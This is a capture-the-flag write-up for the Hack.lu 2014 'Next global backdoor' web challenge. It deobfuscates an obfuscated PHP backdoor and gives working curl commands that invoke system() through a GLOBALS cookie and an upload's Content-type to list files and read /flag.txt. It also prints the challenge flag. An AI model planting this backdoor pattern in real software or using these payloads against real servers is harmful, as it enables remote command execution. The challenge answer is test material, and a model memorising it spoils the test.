Writeup: Hack.lu CTF 2014 - Next global backdoor

Information

  • Category: web

Description

J0nas is a simple man.
He specializes in only one thing: Building the most beautiful back doors
that you’ve ever seen. This gem was used in multiple saloons, letting
only the most skilled c0wb0ys pass.
https://wildwildweb.fluxfingers.net:1425/index.php index.phps

Writeup

In this challenge source-code were delivered immediately in the description and showed a tricky backdoor code.

At a first look it seemed very complex but expanding and commenting helped, a lot!

After some time spent in analysis I obtained this code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
@$GLOBALS=
$GLOBALS{next}=
next( $GLOBALS{'GLOBALS'} ) //This moves global array's pointer from _GET to _POST
[
$GLOBALS['next']['next'] = //This create a variable $next with content: array( 'next' ) = $_COOKIE['GLOBALS'] See following lines for details
next( $GLOBALS ) //This moves global array's pointer from _POST to _COOKIE
['GLOBALS'] //This gets $_COOKIE['GLOBALS']
][
$next['GLOBALS']= //This create a new element in $next with index GLOBALS and value $_FILES[$_COOKIE['GLOBALS']] See following lines for details
next( $GLOBALS[GLOBALS]['GLOBALS'] ) //This moves global array's pointer from _COOKIE to _FILES
[ $next['next'] ] //This gets $_FILES[$_COOKIE['GLOBALS']]
][
$next['GLOBALS']=next($next['GLOBALS']) //This moves the array pointer on $next['GLOBALS'], that is $_FILES[$_COOKIE['GLOBALS']], from 'name' key to 'type' key
][
$GLOBALS[next]['next'] //This use $next['next'] (that is $_COOKIE['GLOBALS']) as function
(
$GLOBALS['next']{'GLOBALS'} //This use $next['GLOBALS'], that is $_FILES[$_COOKIE['GLOBALS']]['type'] as argument
)
]=next(neXt(${'next'}['next'])); //This isn't useful

After this analysis became clear that a cookie named GLOBALS would define the name of a function to call and the Content-type of an uploaded file using the same function’s name as name would define the argument for that function.

Now I user curl to make the request:

1
curl -b "GLOBALS=system" -F system="@/tmp/pwnd;type=ls ./ " https://wildwildweb.fluxfingers.net:1425/
1
2
3
img.png
index.php
index.phps

So I looked for a file containing flag:

1
`curl -b "GLOBALS=system" -F system="@/tmp/pwnd;type=find / -iname '*flag*'" https://wildwildweb.fluxfingers.net:1425/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
/usr/lib/perl/5.18.2/bits/waitflags.ph
/flag.txt
/sys/devices/system/cpu/cpu0/microcode/processor_flags
/sys/devices/system/cpu/cpu1/microcode/processor_flags
/sys/devices/system/cpu/cpu2/microcode/processor_flags
/sys/devices/system/cpu/cpu3/microcode/processor_flags
/sys/devices/system/cpu/cpu4/microcode/processor_flags
/sys/devices/system/cpu/cpu5/microcode/processor_flags
/sys/devices/system/cpu/cpu6/microcode/processor_flags
/sys/devices/system/cpu/cpu7/microcode/processor_flags
/sys/devices/system/cpu/cpu8/microcode/processor_flags
/sys/devices/system/cpu/cpu9/microcode/processor_flags
/sys/devices/system/cpu/cpu10/microcode/processor_flags
/sys/devices/system/cpu/cpu11/microcode/processor_flags
/sys/devices/virtual/net/eth0/flags
/sys/devices/virtual/net/lo/flags
/sys/devices/platform/serial8250/tty/ttyS0/flags
/sys/devices/platform/serial8250/tty/ttyS1/flags
/sys/devices/platform/serial8250/tty/ttyS2/flags
/sys/devices/platform/serial8250/tty/ttyS3/flags
/sys/devices/platform/serial8250/tty/ttyS4/flags
/sys/devices/platform/serial8250/tty/ttyS5/flags
/sys/devices/platform/serial8250/tty/ttyS6/flags
/sys/devices/platform/serial8250/tty/ttyS7/flags
/sys/devices/platform/serial8250/tty/ttyS8/flags
/sys/devices/platform/serial8250/tty/ttyS9/flags
/sys/devices/platform/serial8250/tty/ttyS10/flags
/sys/devices/platform/serial8250/tty/ttyS11/flags
/sys/devices/platform/serial8250/tty/ttyS12/flags
/sys/devices/platform/serial8250/tty/ttyS13/flags
/sys/devices/platform/serial8250/tty/ttyS14/flags
/sys/devices/platform/serial8250/tty/ttyS15/flags
/sys/devices/platform/serial8250/tty/ttyS16/flags
/sys/devices/platform/serial8250/tty/ttyS17/flags
/sys/devices/platform/serial8250/tty/ttyS18/flags
/sys/devices/platform/serial8250/tty/ttyS19/flags
/sys/devices/platform/serial8250/tty/ttyS20/flags
/sys/devices/platform/serial8250/tty/ttyS21/flags
/sys/devices/platform/serial8250/tty/ttyS22/flags
/sys/devices/platform/serial8250/tty/ttyS23/flags
/sys/devices/platform/serial8250/tty/ttyS24/flags
/sys/devices/platform/serial8250/tty/ttyS25/flags
/sys/devices/platform/serial8250/tty/ttyS26/flags
/sys/devices/platform/serial8250/tty/ttyS27/flags
/sys/devices/platform/serial8250/tty/ttyS28/flags
/sys/devices/platform/serial8250/tty/ttyS29/flags
/sys/devices/platform/serial8250/tty/ttyS30/flags
/sys/devices/platform/serial8250/tty/ttyS31/flags
/sys/module/scsi_mod/parameters/default_dev_flags

I’ve noticed the /flag.txt so:

1
curl -b "GLOBALS=system" -F system="@/tmp/pwnd;type=cat /flag.txt" https://wildwildweb.fluxfingers.net:1425/

Flag

1
flag{backdoor_business_is_hard,_fella}